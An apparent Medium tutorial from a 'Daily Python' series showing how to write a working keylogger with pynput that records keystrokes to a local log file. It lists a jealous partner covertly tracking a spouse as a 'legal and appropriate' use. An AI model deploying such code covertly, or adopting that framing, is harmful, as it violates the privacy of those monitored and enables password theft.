Daily Python
Published in

Daily Python

Developing a simple Key Logger using Python | Daily Python #19

This article is a tutorial on how to develop a simple key logger using Python.

This article is a part of Daily Python challenge that I have taken up for myself. I will be writing short python articles daily.

Requirements:

  1. Python 3.0
  2. Pip

Install the following packages:

  1. pynput— Library to control and monitor input devices
pip install pynput

What is a Key Logger?

Keystroke logging often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program. This logging program is called a Key Logger.

Most modern keyloggers are considered to be legitimate software or hardware and are sold on the open market. Developers and vendors offer a long list of cases in which it would be legal and appropriate to use keyloggers, including:

  • Parental control: parents can track what their children do on the Internet, and can opt to be notified if there are any attempts to access websites containing adult or otherwise inappropriate content;
  • Jealous spouses or partners can use a keylogger to track the actions of their better half on the Internet if they suspect them of “virtual cheating”;
  • Company security: tracking the use of computers for non-work-related purposes, or the use of workstations after hours;
  • Company security: using keyloggers to track the input of keywords and phrases associated with commercial information which could damage the company (materially or otherwise) if disclosed;
  • Other security (e.g. law enforcement): using keylogger records to analyze and track incidents linked to the use of personal computers.

Why keyloggers are a threat?

Unlike other types of malicious programs, keyloggers present no threat to the system itself. Nevertheless, they can pose a serious threat to users, as they can be used to intercept passwords and other confidential information entered via the keyboard. As a result, cybercriminals can get PIN codes and account numbers for e-payment systems, passwords to online gaming accounts, email addresses, user names, email passwords, etc.

Types of Key Loggers

  1. Software and
  2. Hardware

Import the required libraries

import pynput 
from pynput.keyboard import Key, Listener

Define a list to store keys and a variable to store character count

charCount = 0
keys = []

Let’s write a function to perform some action when a key is pressed

def onKeyPress(key):
try:
print('Key Pressed : ',key) #Print pressed key
except Exception as ex:
print('There was an error : ',ex)

Now, let’s write a function to handle key release

def onKeyRelease(key):
global keys, charCount #Access global variables
if key == Key.esc:
return False
else:
if key == Key.enter: #Write keys to file
writeToFile(keys)
charCount = 0
keys = []
elif key == Key.space: #Write keys to file
key = ' '
writeToFile(keys)
keys = []
charCount = 0
keys.append(key) #Store the Keys
charCount += 1 #Count keys pressed

Finally, let’s define a function that will log the keys pressed to a log file

def writeToFile(keys):
with open('log.txt','a') as file:
for key in keys:
key = str(key).replace("'","") #Replace ' with space
if 'key'.upper() not in key.upper():
file.write(key)
file.write("\n") #Insert new line

Now that we have the functions defined to handle keypress and key release, we can use the Listener provided by ‘pynput ’to log the keys.

with Listener(on_press=onKeyPress,\
on_release=onKeyRelease) as listener:
listener.join()
Snip of the Output of the above code snippet
Snip of the Log FIle

References:

  1. https://en.wikipedia.org/wiki/Keystroke_logging
  2. https://securelist.com/keyloggers-how-they-work-and-how-to-detect-them-part-1/36138/

I hope this article was helpful, do leave some claps if you liked it.

Follow the Daily Python Challenge here:

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store